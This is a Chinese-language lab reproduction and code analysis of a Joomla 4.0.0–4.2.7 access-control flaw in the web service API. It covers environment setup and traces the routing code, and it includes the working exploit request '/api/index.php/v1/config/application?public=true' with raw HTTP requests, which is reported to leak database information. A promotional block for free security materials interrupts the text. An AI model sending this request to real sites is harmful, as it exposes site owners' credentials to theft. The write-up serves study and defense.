漏洞简介
在 Joomla! 版本为4.0.0 到 4.2.7中发现了一个漏洞,在Joomla受影响的版本中由于对Web服务端点的访问限制不当,远程攻击者可以绕过安全限制获得Web应用程序敏感信息。
影响版本
4.0.0 <&#61; Joomla <&#61; 4.2.7
环境搭建
文件下载地址 https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format&#61;zip
利用 phpstudy 搭建漏洞环境
我们利用 phpstudy 来搭建环境&#xff0c;选择 Apache2.4.39 &#43; MySQL5.7.26&#43; php7.4.3 &#xff0c;同时利用 PhpStorm 来实现对项目的调试
安装完成后
前台
后台
漏洞复现
构造路由 /api/index.php/v1/config/application?public&#61;true
帮助网安学习&#xff0c;全套资料S信免费领取&#xff1a;
① 网安学习成长路径思维导图
② 60&#43;网安经典常用工具包
③ 100&#43;SRC分析报告
④ 150&#43;网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南&#43;题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集&#xff08;含答案&#xff09;
⑧ APP客户端安全检测指南&#xff08;安卓&#43;IOS&#xff09;
返回了数据库的相关信息
漏洞分析
经过调试分析发现是对 api 路径下的身份校验进行了绕过&#xff0c;默认在未登录的情况下访问 返回 {"errors":[{"title":"Forbidden"}]}
所以就针对于 api 路径下的身份校验进行具体分析
api/index.php
api/includes/app.php
\Joomla\CMS\Application\CMSApplication::execute
\Joomla\CMS\Application\ApiApplication::doExecute
其中的 $this->route();
对应了路由应用程序
\Joomla\CMS\Application\ApiApplication::route
$router
对应了 api 下所有的路由信息&#xff0c;之后调用 parseApiRoute
对路由进行处理
\Joomla\CMS\Router\ApiRouter::parseApiRoute
当 public 为false 时&#xff0c;是禁止外部访问的
GET /api/index.php/v1/config/application HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,*
但是通过路径传入的值在之后可以覆盖替换原本的值
GET /api/index.php/v1/config/application?public&#61;true HTTP/1.1
Host: joomla.test
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,*